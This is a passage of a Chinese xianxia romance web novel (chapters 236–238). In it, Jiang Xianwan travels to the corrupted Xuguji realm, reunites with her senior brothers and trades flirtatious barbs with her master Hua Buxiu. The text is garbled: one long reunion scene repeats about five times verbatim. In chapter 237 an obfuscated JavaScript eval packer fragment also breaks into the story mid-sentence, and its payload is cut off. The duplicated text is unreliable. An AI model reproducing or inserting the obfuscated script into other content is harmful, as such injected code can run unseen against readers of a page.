饭吃到结尾,帝隐、云为泽和花不休,忽然同时在‘相亲相爱一家人’信道中发了信息。 虚古境再次异动,灵塔同一时间崩毁几座,死气从地底下逸散了出来。 不仅使得异兽被死气侵蚀,爆发一波又一波的兽潮,就连空气和那些树木植被、土地河流都被污染。 异兽变得狂躁不安,失去理智,厮杀中又冲撞坏了两座灵塔。 江献晚沉吟片刻,和他们迅速商量了一下。 找了个名正言顺的借口,命南北两境,六宗一些亲传弟子,前往虚古境,重建灵塔。 她在来妖域的路途中,月离他们仨跟她说,林轻染上一秒还跟三王说自个可以点亮界碑,下一秒好像又不行了。 江献晚当时听的眼尾一挑。 林轻染最终的目的,竟是界皇之位? 她拿到厄弓,便迫不及待的跑到界域,可以通过厄弓点亮界碑? 那最后为何没有将厄弓拿出来? 出了何种变故? 想到一下崩毁好几座的灵塔,江献晚难免有些怀疑。 她觉得此事或许与林轻染和系统脱不了关系。 难不成,系统可以盗取灵塔灵力? 毕竟,那些突然损毁的灵塔,都像是被一瞬间抽空了灵力,成为了一堆废石。 倘若真是系统的手笔,能为林轻染做到这种地步,它自个又有什么目的? 绝不是助林轻染登上界皇之位这般简单。 江献晚下意识抬眸,看了一眼天,心中诸多古怪渐渐放大,有什么东西即将破土而出。 然而这种感觉又让她心底生出一丝难以形容的烦躁,粗暴的摁进角落。 帝隐都锁定不了系统,更别提抹杀。 既然搜不到厄弓,又拿系统没有办法。 那便将林轻染锁死在虚古境,等她着急,一同承受异兽发狂和面对死气的后果。 或许,这俩等不及,系统还能被迫想出什么办法,解决眼下困境。 自个种的因,总要承担些后果不是。 花不休虽特意让她留下来陪着行行,暂时不必去,不过,林轻染都去了,她又是太虚宗一份子,便决定一同前往。 行行很乖,太乖了,看到她和帝隐他们的聊天信息,反过来安慰她,说会乖乖听话,让她放心做自己的事情。 霓裳和月离他们很想跟着,然终是不方便插手两境之事,只能哭啼啼的目送江献晚他们离开。 云舟宛如流星冲开夜色,刺破层层厚积的云层,留下一抹虚影,悄无声息驶离妖域,前往虚古境方向。 江献晚盘腿坐在甲板上,吹着微凉的风,头顶是碎星繁织的苍穹。 林玉锦枕着小臂悠闲的躺在一旁,手里玉简还亮着。 何未语走过来,挨着江献晚坐下,待看清她手中捏的针线,唇角便抽动了一下。 沉默半晌,有些犹豫的开口,“江师妹,你绣的什么?” 江献晚认真看了一下衣裳上刚绣好的三个字,眉眼极为柔软。 “江行行。” 何未语:“……” 说真的,她认真瞅了好几眼,都没看出那三团竟然是三个字? 事实证明,江献晚哪哪都突出,就是这绣工,看起来没有丝毫上升的空间。 但,这并不影响江师妹的母爱! 善良的何师姐,善良的决定,还是不要打击一脸认真的江师妹了。 她笑了笑,温柔的气质一扫而空,狗狗祟祟轻撞了一下她的肩。 “江师妹,我有一个很唐突的问题,当然,你不想说,没事的!” 她哪里听不出幽冥说的是江献晚有七个,而不是仅仅只有三个! 这让她浑身都快要痒死了,满脑子想的都是凑齐七个! 别说,看着新任妖帝和魔皇,为江师妹打的死去活来的那一幕,她瞬间打开了一条大胆的思路,很快凑出来了两个。 林玉锦和玉简另一头两个少年:“……”知道唐突你还问? 江献晚:“……”你确定,我不说,真的没事? 何师姐今天至少抽了她十下背,吃饭时,又问她疼不疼…… 何未语装作看不懂她和林玉锦幽怨的小眼神,姐俩好的揽上她的肩。 嘿嘿一笑。 “你师尊和咱们帝尊……嗯?” 这问题问的可就太大胆了,尤其关于师徒禁忌的话题。 望着星星眼,表情难得有两分猥琐的何师姐,江献晚无语了一下,麻木的抬头瞅天。 语气有些幽怨:“你觉得呢何师姐。” 她要说个‘不’字,小紫是不是掐着点,就过来给她扣屎盆子了! 何未语认真瞧着她思索一会儿,猛地握上她的肩膀,眼睛陡然爆发出两道精光。 “没关系!我知道!现在没不代表以后没!” “江师妹!你是我的神你知道吗!!!” 江献晚:“……” 是不是她的神,江献晚不知道。 她觉得自个还是要为花美人和云为泽,证明一下清白。 “那个,有没有一种可能你真的想……” “不!”何未语打断她,“我信!我坚信!” 玄古就这几个男人最厉害,美的那叫一个各有千秋,又平分秋色。 他们南境的凤仪剑尊花不休和南帝尊云为泽、北境北帝尊帝隐、魔域魔皇非翎,还有妖域新任妖帝风回雪。 这五个,齐占玄古美人榜榜首! 第 236 章 想 在两境三域修士心里,那是见一面都难如登天,各个极具神秘色彩的那种! 江献晚能泡了魔皇和新任妖帝,跟北帝尊生了儿子,还有什么人是她泡不上的? 何未语使劲一晃她,激动之下,难得冒出一句脏话。 “江师妹!你可真牛逼!” 苏清流仨:“……”何师姐她可真冒昧! 江献晚:“……”夸的很好,下次不许夸了。 暂且不说她牛不牛逼,江献晚忍不住问出了自己的疑惑。 “何师姐,你不觉得我这样很没道德?” 修真界虽不似现代,一夫一妻制,露水情缘,像霓裳那样的,也不在少数。 不过,一个女子,有好几个男人,说真的,这种情况不仅在南北两境很少有,放在魔域妖域也很少见。 何未语已然陷入一种巨大的激动中,握着她的肩又是一晃。 有理有据的反驳。 “那有什么!你本来不就没有道德!” “再说了,谁规定咱们女孩子就不能多纳几房小妾了?” “这不正恰恰证明了江师妹你真的很厉害,他们真的很有眼光!” “师姐挺你!师姐真的挺你!” “师妹勇敢飞,师姐永相随!” “大胆的!咱全要!” 林玉锦连同玉简另一头的苏清流和白子夜,听不下去了,一整个破防。 激动大声道:“何师姐!你不说话,真的没人把你当哑巴!” 竟然洗脑他们的小师妹! 够了! 真的够了! 那明明是他们的小师妹啊! 何未语充耳不闻,自动忽略他仨,双手捧着脸,露出荡漾的傻笑。 兀自嘿嘿道:“嘿嘿,有福了,两位帝尊和凤仪剑尊这会儿可都在虚古境啊。” “有节目,真有节目。” “江师妹,你要不要先准备一下?” 三个少年:“……”真的,他们从来没觉得何师姐这么烦人过! 江献晚:“……”不是,她准备什么? 不过。 想到这些天‘相亲相爱一家人’信道中,日夜不得 消停的刀光剑影,江献晚觉得……自己可能还真的是要准备一下。 又是三日后,云舟飞过繁华郡,抵达虚古境。 再次来到这里,江献晚他们心情不由变得有些凝重。 虚古境全然变成了一种令人窒息的模样,比云为泽他们口中说的还要糟糕些。 天幕低垂,一层一层压下来,似浑浊发霉、沉闷的浸透了污水的裹尸布。 笼在透明结界内的虚古境上空,飘散着肉眼可见的污浊之气,陈腐的尸灰一般,只看着便喘不上气。 异兽的嘶吼声更是源源不断的传来,像是等待某种令人战栗之物从地底深处轰然剖开。 飞行禁止大阵尽数解禁,法器曳出的几道流光穿梭在上空,是六宗亲传巡视的身影。 还有几个风尘仆仆的身影从虚古境踉跄着走出来。 入口外的大片空地上,用木材临时建起一排简陋的房屋。 忙的头也不抬,检查异兽尸体,或察看弟子伤势的,是各宗炼丹长老。 一眼看去几乎全是熟人。 云舟还未停好,小伙伴们全跳了下去,迅速找到了自家长辈。 花不休正在为白子夜接骨。 望见两道熟悉的青色身影,江献晚和林玉锦疾身掠了过去。 “二师兄!” 白子夜额角俱是冷汗,一见自家小师妹,眸子便是一亮。 用好的那只手,轻轻握上江献晚的手腕,一带,扣进怀中。 嗓音小小的,饱含无尽的思念和委屈。 “小师妹,有没有想二师兄?” 不待她答,声线更是软的都哑了。 “你知不知道二师兄想你想的吃不下饭,睡不好觉。” 被推到一旁的林玉锦,沉默片刻,“那二师兄,你有想我这个小师弟想的吃不下饭吗?” 白子夜下巴垫在江献晚肩头,朝他微微一笑,“嘻!什么小师弟,不认识。” “滚可以吗?我怕今天吃不下饭。” 林玉锦:“……”他是捡来的吗? 野生的都没他惨吧? 饿死他个白老二算了! 林玉锦恶狠狠的挥舞了一下拳头。 花不休斜觑一 眼互相诉说思念,亲亲热热的两师兄妹,“咔嚓”一声,粗暴的将白子夜手腕给接了回去。 后者唇角晃眼的笑意登上一僵,倒吸一口冷气,伏在小师妹肩头,委屈的直喊疼,又惹的江献晚举着袖子慌忙给他擦汗。 花不休微微眯了眯眸,静眼瞧着孽徒在眼皮下晃动的脑瓜。 玉白的指尖刚抬起,就要掐了那目中无人、眼里无他的孽徒的脖颈,苏清流恰巧从虚古境走出来。 恹恹的眸子在触及到江献晚,那歪歪扭扭,浑身厌离的青衣少年,眉眼一下子滟丽起来。 薄唇的线条被一种柔和而无形的力量轻轻推起,勾出一抹惊心动魄的弧度。 身形迫及不待一闪。 “小师妹!” 他们四个还从来没有分开这么久过,望着双臂已经张开,眉眼含笑的大师兄,江献晚起身,宛如鹞子般一个飞扑,扑了苏清流满怀。 “大师兄,你有没有想我?” 苏清流一手轻压着她的后脑勺,感受着瞬间被填满的胸膛,如工笔细描的眼尾,拖曳出一痕足以融化霜寒的温度,衬的那颗小痣亦夺目三分。 瞳孔中内蕴的光华流转着溢出,微妙的牵动着那张极清极峭的脸庞,不可思议的柔软下来。 柔和的吐字,仿佛丈量着分别的日子。 每一个字的音尾处,留下极细微的震颤。 “想,很想,日日夜夜都在想小师妹的。” 他鲜少表达这样强烈的思念,鲜少与江献晚分别这般长的时间。 所有的黯淡和裂隙,冰裂般被推尽,只余融融暖波。 放松的将下颌落在她的发顶,模模糊糊问道:“有没有想大师兄?” 伴随着分别的时间越长,他心中越发有种恐慌,不知所措,亦不知其味。 在知道自己的小师妹有了七个男人,便开始担心她心里装着那么多人,与他们相处的时间会越来越少。 而这些担心,仿佛一一证实般,空落落的,一点一点在周围消沉下去。 江献晚听到他有些压抑的声线,什么都懂了。 圈着苏清流脖颈的小臂轻轻一晃,撒娇道:“想!每日都有想很多遍!” 苏清流忍不住勾了勾唇,“真的?那,我是不是你最心爱的大师兄?” 白子夜:“……?”要脸吗苏老大? 这还用问,他才是小师妹最心爱的二师兄! 小师妹刚才还给他吹手了呢! 林玉锦:“……?” 真的,他很想问一句。 站在这的他,到底算什么? 感受到二师兄和小师兄投来幽怨而含着一决高下的视线,江献晚强忍着笑意,踮脚凑近苏清流耳畔,小声道:“是!大师兄是……唔!” 眼互相诉说思念,亲亲热热的两师兄妹,“咔嚓”一声,粗暴的将白子夜手腕给接了回去。 后者唇角晃眼的笑意登上一僵,倒吸一口冷气,伏在小师妹肩头,委屈的直喊疼,又惹的江献晚举着袖子慌忙给他擦汗。 花不休微微眯了眯眸,静眼瞧着孽徒在眼皮下晃动的脑瓜。 玉白的指尖刚抬起,就要掐了那目中无人、眼里无他的孽徒的脖颈,苏清流恰巧从虚古境走出来。 恹恹的眸子在触及到江献晚,那歪歪扭扭,浑身厌离的青衣少年,眉眼一下子滟丽起来。 薄唇的线条被一种柔和而无形的力量轻轻推起,勾出一抹惊心动魄的弧度。 身形迫及不待一闪。 “小师妹!” 他们四个还从来没有分开这么久过,望着双臂已经张开,眉眼含笑的大师兄,江献晚起身,宛如鹞子般一个飞扑,扑了苏清流满怀。 “大师兄,你有没有想我?” 苏清流一手轻压着她的后脑勺,感受着瞬间被填满的胸膛,如工笔细描的眼尾,拖曳出一痕足以融化霜寒的温度,衬的那颗小痣亦夺目三分。 瞳孔中内蕴的光华流转着溢出,微妙的牵动着那张极清极峭的脸庞,不可思议的柔软下来。 柔和的吐字,仿佛丈量着分别的日子。 每一个字的音尾处,留下极细微的震颤。 “想,很想,日日夜夜都在想小师妹的。” 他鲜少表达这样强烈的思念,鲜少与江献晚分别这般长的时间。 所有的黯淡和裂隙,冰裂般被推尽,只余融融暖波。 放松的将下颌落在她的发顶,模模糊糊问道:“有没有想大师兄?” 伴随着分别的时间越长,他心中越发有种恐慌,不知所措,亦不知其味。 在知道自己的小师妹有了七个男人,便开始担心她心里装着那么多人,与他们相处的时间会越来越少。 而这些担心,仿佛一一证实般,空落落的,一点一点在周围消沉下去。 江献晚听到他有些压抑的声线,什么都懂了。 圈着苏清流脖颈的小臂轻轻一晃,撒娇道:“想!每日都有想很多遍!” 苏清流忍不住勾了勾唇,“真的?那,我是不是你最心爱的大师兄?” 白子夜:“……?”要脸吗苏老大? 这还用问,他才是小师妹最心爱的二师兄! 小师妹刚才还给他吹手了呢! 林玉锦:“……?” 真的,他很想问一句。 站在这的他,到底算什么? 感受到二师兄和小师兄投来幽怨而含着一决高下的视线,江献晚强忍着笑意,踮脚凑近苏清流耳畔,小声道:“是!大师兄是……唔!” 眼互相诉说思念,亲亲热热的两师兄妹,“咔嚓”一声,粗暴的将白子夜手腕给接了回去。 后者唇角晃眼的笑意登上一僵,倒吸一口冷气,伏在小师妹肩头,委屈的直喊疼,又惹的江献晚举着袖子慌忙给他擦汗。 花不休微微眯了眯眸,静眼瞧着孽徒在眼皮下晃动的脑瓜。 玉白的指尖刚抬起,就要掐了那目中无人、眼里无他的孽徒的脖颈,苏清流恰巧从虚古境走出来。 恹恹的眸子在触及到江献晚,那歪歪扭扭,浑身厌离的青衣少年,眉眼一下子滟丽起来。 薄唇的线条被一种柔和而无形的力量轻轻推起,勾出一抹惊心动魄的弧度。 身形迫及不待一闪。 “小师妹!” 他们四个还从来没有分开这么久过,望着双臂已经张开,眉眼含笑的大师兄,江献晚起身,宛如鹞子般一个飞扑,扑了苏清流满怀。 “大师兄,你有没有想我?” 苏清流一手轻压着她的后脑勺,感受着瞬间被填满的胸膛,如工笔细描的眼尾,拖曳出一痕足以融化霜寒的温度,衬的那颗小痣亦夺目三分。 瞳孔中内蕴的光华流转着溢出,微妙的牵动着那张极清极峭的脸庞,不可思议的柔软下来。 柔和的吐字,仿佛丈量着分别的日子。 每一个字的音尾处,留下极细微的震颤。 “想,很想,日日夜夜都在想小师妹的。” 他鲜少表达这样强烈的思念,鲜少与江献晚分别这般长的时间。 所有的黯淡和裂隙,冰裂般被推尽,只余融融暖波。 放松的将下颌落在她的发顶,模模糊糊问道:“有没有想大师兄?” 伴随着分别的时间越长,他心中越发有种恐慌,不知所措,亦不知其味。 在知道自己的小师妹有了七个男人,便开始担心她心里装着那么多人,与他们相处的时间会越来越少。 而这些担心,仿佛一一证实般,空落落的,一点一点在周围消沉下去。 江献晚听到他有些压抑的声线,什么都懂了。 圈着苏清流脖颈的小臂轻轻一晃,撒娇道:“想!每日都有想很多遍!” 苏清流忍不住勾了勾唇,“真的?那,我是不是你最心爱的大师兄?” 白子夜:“……?”要脸吗苏老大? 这还用问,他才是小师妹最心爱的二师兄! 小师妹刚才还给他吹手了呢! 林玉锦:“……?” 真的,他很想问一句。 站在这的他,到底算什么? 感受到二师兄和小师兄投来幽怨而含着一决高下的视线,江献晚强忍着笑意,踮脚凑近苏清流耳畔,小声道:“是!大师兄是……唔!” 眼互相诉说思念,亲亲热热的两师兄妹,“咔嚓”一声,粗暴的将白子夜手腕给接了回去。 后者唇角晃眼的笑意登上一僵,倒吸一口冷气,伏在小师妹肩头,委屈的直喊疼,又惹的江献晚举着袖子慌忙给他擦汗。 花不休微微眯了眯眸,静眼瞧着孽徒在眼皮下晃动的脑瓜。 玉白的指尖刚抬起,就要掐了那目中无人、眼里无他的孽徒的脖颈,苏清流恰巧从虚古境走出来。 恹恹的眸子在触及到江献晚,那歪歪扭扭,浑身厌离的青衣少年,眉眼一下子滟丽起来。 薄唇的线条被一种柔和而无形的力量轻轻推起,勾出一抹惊心动魄的弧度。 身形迫及不待一闪。 “小师妹!” 他们四个还从来没有分开这么久过,望着双臂已经张开,眉眼含笑的大师兄,江献晚起身,宛如鹞子般一个飞扑,扑了苏清流满怀。 “大师兄,你有没有想我?” 苏清流一手轻压着她的后脑勺,感受着瞬间被填满的胸膛,如工笔细描的眼尾,拖曳出一痕足以融化霜寒的温度,衬的那颗小痣亦夺目三分。 瞳孔中内蕴的光华流转着溢出,微妙的牵动着那张极清极峭的脸庞,不可思议的柔软下来。 柔和的吐字,仿佛丈量着分别的日子。 每一个字的音尾处,留下极细微的震颤。 “想,很想,日日夜夜都在想小师妹的。” 他鲜少表达这样强烈的思念,鲜少与江献晚分别这般长的时间。 所有的黯淡和裂隙,冰裂般被推尽,只余融融暖波。 放松的将下颌落在她的发顶,模模糊糊问道:“有没有想大师兄?” 伴随着分别的时间越长,他心中越发有种恐慌,不知所措,亦不知其味。 在知道自己的小师妹有了七个男人,便开始担心她心里装着那么多人,与他们相处的时间会越来越少。 而这些担心,仿佛一一证实般,空落落的,一点一点在周围消沉下去。 江献晚听到他有些压抑的声线,什么都懂了。 圈着苏清流脖颈的小臂轻轻一晃,撒娇道:“想!每日都有想很多遍!” 苏清流忍不住勾了勾唇,“真的?那,我是不是你最心爱的大师兄?” 白子夜:“……?”要脸吗苏老大? 这还用问,他才是小师妹最心爱的二师兄! 小师妹刚才还给他吹手了呢! 林玉锦:“……?” 真的,他很想问一句。 站在这的他,到底算什么? 感受到二师兄和小师兄投来幽怨而含着一决高下的视线,江献晚强忍着笑意,踮脚凑近苏清流耳畔,小声道:“是!大师兄是……唔!” 眼互相诉说思念,亲亲热热的两师兄妹,“咔嚓”一声,粗暴的将白子夜手腕给接了回去。 后者唇角晃眼的笑意登上一僵,倒吸一口冷气,伏在小师妹肩头,委屈的直喊疼,又惹的江献晚举着袖子慌忙给他擦汗。 花不休微微眯了眯眸,静眼瞧着孽徒在眼皮下晃动的脑瓜。 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所有的黯淡和裂隙,冰裂般被推尽,只余融融暖波。 放松的将下颌落在她的发顶,模模糊糊问道:“有没有想大师兄?” 伴随着分别的时间越长,他心中越发有种恐慌,不知所措,亦不知其味。 在知道自己的小师妹有了七个男人,便开始担心她心里装着那么多人,与他们相处的时间会越来越少。 而这些担心,仿佛一一证实般,空落落的,一点一点在周围消沉下去。 江献晚听到他有些压抑的声线,什么都懂了。 圈着苏清流脖颈的小臂轻轻一晃,撒娇道:“想!每日都有想很多遍!” 苏清流忍不住勾了勾唇,“真的?那,我是不是你最心爱的大师兄?” 白子夜:“……?”要脸吗苏老大? 这还用问,他才是小师妹最心爱的二师兄! 小师妹刚才还给他吹手了呢! 林玉锦:“……?” 真的,他很想问一句。 站在这的他,到底算什么? 感受到二师兄和小师兄投来幽怨而含着一决高下的视线,江献晚强忍着笑意,踮脚凑近苏清流耳畔,小声道:“是!大师兄是……唔!” 眼互相诉说思念,亲亲热热的两师兄妹,“咔嚓”一声,粗暴的将白子夜手腕给接了回去。 后者唇角晃眼的笑意登上一僵,倒吸一口冷气,伏在小师妹肩头,委屈的直喊疼,又惹的江献晚举着袖子慌忙给他擦汗。 花不休微微眯了眯眸,静眼瞧着孽徒在眼皮下晃动的脑瓜。 玉白的指尖刚抬起,就要掐了那目中无人、眼里无他的孽徒的脖颈,苏清流恰巧从虚古境走出来。 恹恹的眸子在触及到江献晚,那歪歪扭扭,浑身厌离的青衣少年,眉眼一下子滟丽起来。 薄唇的线条被一种柔和而无形的力量轻轻推起,勾出一抹惊心动魄的弧度。 身形迫及不待一闪。 “小师妹!” 他们四个还从来没有分开这么久过,望着双臂已经张开,眉眼含笑的大师兄,江献晚起身,宛如鹞子般一个飞扑,扑了苏清流满怀。 “大师兄,你有没有想我?” 苏清流一手轻压着她的后脑勺,感受着瞬间被填满的胸膛,如工笔细描的眼尾,拖曳出一痕足以融化霜寒的温度,衬的那颗小痣亦夺目三分。 瞳孔中内蕴的光华流转着溢出,微妙的牵动着那张极清极峭的脸庞,不可思议的柔软下来。 柔和的吐字,仿佛丈量着分别的日子。 每一个字的音尾处,留下极细微的震颤。 “想,很想,日日夜夜都在想小师妹的。” 他鲜少表达这样强烈的思念,鲜少与江献晚分别这般长的时间。 所有的黯淡和裂隙,冰裂般被推尽,只余融融暖波。 放松的将下颌落在她的发顶,模模糊糊问道:“有没有想大师兄?” 伴随着分别的时间越长,他心中越发有种恐慌,不知所措,亦不知其味。 在知道自己的小师妹有了七个男人,便开始担心她心里装着那么多人,与他们相处的时间会越来越少。 而这些担心,仿佛一一证实般,空落落的,一点一点在周围消沉下去。 江献晚听到他有些压抑的声线,什么都懂了。 圈着苏清流脖颈的小臂轻轻一晃,撒娇道:“想!每日都有想很多遍!” 苏清流忍不住勾了勾唇,“真的?那,我是不是你最心爱的大师兄?” 白子夜:“……?”要脸吗苏老大? 这还用问,他才是小师妹最心爱的二师兄! 小师妹刚才还给他吹手了呢! 林玉锦:“……?” 真的,他很想问一句。 站在这的他,到底算什么? 感受到二师兄和小师兄投来幽怨而含着一决高下的视线,江献晚强忍着笑意,踮脚凑近苏清流耳畔,小声道:“是!大师兄是……唔!” 眼互相诉说思念,亲亲热热的两师兄妹,“咔嚓”一声,粗暴的将白子夜手腕给接了回去。 后者唇角晃眼的笑意登上一僵,倒吸一口冷气,伏在小师妹肩头,委屈的直喊疼,又惹的江献晚举着袖子慌忙给他擦汗。 花不休微微眯了眯眸,静眼瞧着孽徒在眼皮下晃动的脑瓜。 玉白的指尖刚抬起,就要掐了那目中无人、眼里无他的孽徒的脖颈,苏清流恰巧从虚古境走出来。 恹恹的眸子在触及到江献晚,那歪歪扭扭,浑身厌离的青衣少年,眉眼一下子滟丽起来。 薄唇的线条被一种柔和而无形的力量轻轻推起,勾出一抹惊心动魄的弧度。 身形迫及不待一闪。 “小师妹!” 他们四个还从来没有分开这么久过,望着双臂已经张开,眉眼含笑的大师兄,江献晚起身,宛如鹞子般一个飞扑,扑了苏清流满怀。 “大师兄,你有没有想我?” 苏清流一手轻压着她的后脑勺,感受着瞬间被填满的胸膛,如工笔细描的眼尾,拖曳出一痕足以融化霜寒的温度,衬的那颗小痣亦夺目三分。 瞳孔中内蕴的光华流转着溢出,微妙的牵动着那张极清极峭的脸庞,不可思议的柔软下来。 柔和的吐字,仿佛丈量着分别的日子。 每一个字的音尾处,留下极细微的震颤。 “想,很想,日日夜夜都在想小师妹的。” 他鲜少表达这样强烈的思念,鲜少与江献晚分别这般长的时间。 所有的黯淡和裂隙,冰裂般被推尽,只余融融暖波。 放松的将下颌落在她的发顶,模模糊糊问道:“有没有想大师兄?” 伴随着分别的时间越长,他心中越发有种恐慌,不知所措,亦不知其味。 在知道自己的小师妹有了七个男人,便开始担心她心里装着那么多人,与他们相处的时间会越来越少。 而这些担心,仿佛一一证实般,空落落的,一点一点在周围消沉下去。 江献晚听到他有些压抑的声线,什么都懂了。 圈着苏清流脖颈的小臂轻轻一晃,撒娇道:“想!每日都有想很多遍!” 苏清流忍不住勾了勾唇,“真的?那,我是不是你最心爱的大师兄?” 白子夜:“……?”要脸吗苏老大? 这还用问,他才是小师妹最心爱的二师兄! 小师妹刚才还给他吹手了呢! 林玉锦:“……?” 真的,他很想问一句。 站在这的他,到底算什么? 感受到二师兄和小师兄投来幽怨而含着一决高下的视线,江献晚强忍着笑意,踮脚凑近苏清流耳畔,小声道:“是!大师兄是……唔!” 第 237 章 其他的,为师也要 苏清流怀中一空,脸立时就黑了。 冷沉的眸子,直直落在花不休身上,指腹蜷了几蜷。 花不休忍耐已久,见孽徒抱完这个抱那个,哄完这个哄那个,揪上她的后衣领,将她从苏清流怀中拎了出来。 他微微侧眸,乜向唇线紧抿、想做什么的大徒弟,眼底渗出一抹冷意。 再看江献晚时,腮边不易察觉动了一下。 唇上勾着笑,眼睛里分明没有半点情绪。 清冷、低沉的声音响起,眼角眉梢便是两分冷峭。 “江献晚,为师喊你来,是让你游山玩水,探讨感情的吗?” 从头到尾,这孽徒有想起来看他一眼,又或是喊一下他这个师尊吗? 谁家孽徒能做成她这副以上犯下的样子的。 苏清流三人:“……”呵。 他还知道自个是师尊? 有他这么做师尊的? 谁家师尊又能做成他这副为老不尊的样子的! 江献晚双脚悬地,茫然的“啊”了一声,像是没听懂他的话。 又顿时恍然,冲他莞尔一笑。 理直不直,气都壮。 “师尊年轻力壮,徒儿可不就是来游山玩水的呀。” 事实证明。 花美人还是一如既往的小气。 没事找事,还爱生气。 “年轻力壮。”花不休唇齿间浸吟着四个字,定定看了她三秒,倏尔短促一笑。 冷眼拂开臭着脸、朝他伸出一只手的苏清流,将江献晚提走。 稳住快要崩坏的表情,磨着牙根,低声从齿缝中挤出一句—— “孽徒,为师今日便打断你的腿。” 省得她整天到处蹦跶,往人怀里扑。 江献晚在三位师兄面皮狰狞扭曲,连连倒吸冷气中,被拎进简陋的屋内。 双脚刚一沾地,被轻轻推抵在了墙上。 她睫毛一抬,与欺身而来,花美人那双眸色稍暗的眼睛不期而遇。 略一挑眉,轻轻叹息。 “师尊,徒儿就这两条腿儿,您打断,徒儿以后如何孝敬您?” 还有。 他 在‘相亲相爱一家人’信道中受的气,能不能不要连累无辜的她,和她无辜的腿儿。 花不休看懂了。 眉目低垂,眸子里墨色翻涌,就着模糊的光晕,在她面庞流连片刻,又瞧她的腿儿。 思路清奇。 嗓音莫名。 “你就拿这两条腿儿来孝敬为师?” 他花不休是什么很好打发,很好哄的人吗? 江献晚:“……” 花美人,确实不是什么好哄的人。 两条腿儿,显然是不够。 “那,师尊还想要什么?” 看起来,他还想拧她的脑袋瓜。 师徒视线短暂的交锋,花美人突然朝她微微一笑,江献晚就知道她猜对了。 踮起脚尖。 认真谈判。 “脑袋瓜就算了吧?” “要不,您换一个。” 花不休抬手将她脑袋瓜摁下去,似乎考虑从哪里下手。 “这个算不了。” 话音一转。 又冷冷丟给她几个字。 “其他的,为师也要。” 她这双手,到底还想摸多少个男人? 倒不如捆了,拴起来。 江献晚:“……”脸你要吗? 江献晚自然还是有点微薄的尊师重道在身上的,还能说什么。 点头大方道:“成吧,师尊想要,徒儿自然要依。” 又故作伤感。 “为师尊而死,徒儿死……唔!” 花不休掩了她的唇,脸登时比锅底还黑,双眸轻轻一瞪,“孽徒再敢胡说!” 谁似她这般,将死挂在嘴边。 江献晚慢悠悠顺着他的力度,心累的将背重新瘫了回去,在他掌心含糊不清,“师尊不是说要的吗?” 给他,不乐意。 不给,他更不乐意。 到底是要,还是不要。 都说女人心海底针,男人的心思也很难猜的好吧。 花不休又是拿眸子一剜她,转扣了她的手腕,将她扯了几步。 江献晚早注意到那位被五 花大绑,喉咙里发出粗重“嗬嗬”声,一见他们便试图攻击的弟子。 走近看清他皮肤下游走的黑气,神色认真起来。 “这是,死气?” 事情好像远比想象中的严重。 “嗯,死气入体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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江献晚踮脚努力与他视线齐平,坏坏一笑,“林轻染应当快要到了吧。” “师尊不就是在等她。” 林轻染如今几乎是人人喊打,走到哪里都不讨喜的存在。 第 238 章 辣极了 以她的性子,如果系统有办法,林轻染绝对不会放过这种展现自己能力,获得众人好感,扬名天下的机会。 如果没办法,花不休方才还能悠闲的同她耍小性子,大约是有法子帮这位弟子拔除死气。 花不休唇角轻轻上翘,抬手将她脑瓜压下,“果然是孽徒。” 又莫名的勾了勾唇,“等她倒不至于。” 等孽徒还差不多。 他确实能想办法在尽量不伤害到这位弟子根基的情况下将死气拔除。 只是需要耗费庞大的灵力,也可能还要一点修为。 现下只一个还好,倘若有更多的弟子或是长老被死气所控,他就算是铁打的凤仪剑尊,也没那本事救的过来。 那便想法子,使林轻染背后的邪物出点力。 灵塔的损毁假如真的与林轻染有关,他倒要看看,这俩面对虚古境现状,还能大胆到何等地步。 要玩完,大家一起玩完,林轻染当是冲锋陷阵。 两师徒,不用言明,便深知对方装的什么坏水。 江献晚赞叹佛如,“师尊尊,您还是太权威了。” “为师倒觉得,孽徒与为师不相上下。”花不休似笑非笑,自是潋滟生姿。 江献晚却敏锐的察觉出一种危险的信号。 果然。 花美人再次回到了起点,充分表达出他自个的小心眼。 “江献晚,我们之间的账,似乎还未算完?” 他将最后一个字,咬的略重,柔和的嗓音又含着扒人皮、拧人脑瓜的矛盾音调儿。 给人一种正菜在锅里热了一会儿,终究是给热气腾腾端了上来的感觉。 江献晚熟稔的将皮给绷紧了。 面露不解,故作诧异。 “啊?还没算完?师尊尊,接下来您该不会想说您从徒儿手里抠走的那些灵石吧?” 真的是。 他就不能大度点? 花不休缓缓的笑了。 修长的身形俯低,衣料在动作间发出细微的摩擦声,带着一种玉山倾覆的压迫感。 唇,凑近了。 循序渐进,距离被精准的控制在毫厘之间,浸染着他身上冷冽沉静、雨后新竹似的浅香,无声无息探入她耳廓深处。 说出的话……更冒昧了。 “魔后缺我这点灵石?” 魔后·江献晚:“……” 就说吧,非翎的嘴贱,回旋镖那是全都扎在了她身上。 却听,花不休极轻极缓的吐息又顺着耳廓爬到心尖,“魔后今日怎的未着红裳?” 江献晚:“……”我不着红裳,你自个心里没点数吗? 我特么就算想,敢着吗? 她要是敢穿着一身红过来,他还不立马把她腿给拧了? 葬礼都得马不停蹄的给当场办了! 说真的,这账算的她免疫力大大提升。 但是。 如果非要继续算的话。 那,算。 江献晚扯出一抹礼貌的微笑,慢条斯理的勾上他肩颈垂落的青色发带,轻轻绕在白皙的指尖。 微微偏头,唇若即若离贴在他耳边,指尖在他心口轻轻一点。 而后,一寸寸大逆不道往下一路而去。 “魔后不着红裳,师尊难道不知?” 她指尖停顿在青衣下那截硬邦邦的腰腹,发带末梢随之轻轻脱离。 忽然退开半步,上下打量眼前这个青衣墨发的年轻男人,仿佛欣赏一支春睡的夜下海棠。 “师尊尊,有人跟您说过,您穿青裳的样子,真的……” 她故意停顿了一下,一看就知道接下来说的不是好话。 在花不休一双宛如蝶翼的睫毛翕动不止时,偏头一笑,“正经中,辣极了。” 花美人确实辣极了。 无论是清冷中带着流滟,雅致中含着妖魅的样貌,还是出尘青衣下内敛而性张力十足的完美线条。 半似谪仙,半似精魅。 不止仰敬,还想要拖他入滚滚红尘。 看他在枕席间又是何等礼崩乐坏。 花不休:“……” 辣、极、了。 凤仪剑尊何时听过这般奔放的污言秽语。 表情短暂的空白,整个人有一瞬间的僵硬。 几乎是慌乱抬手,捂了孽徒下扫的眸子。 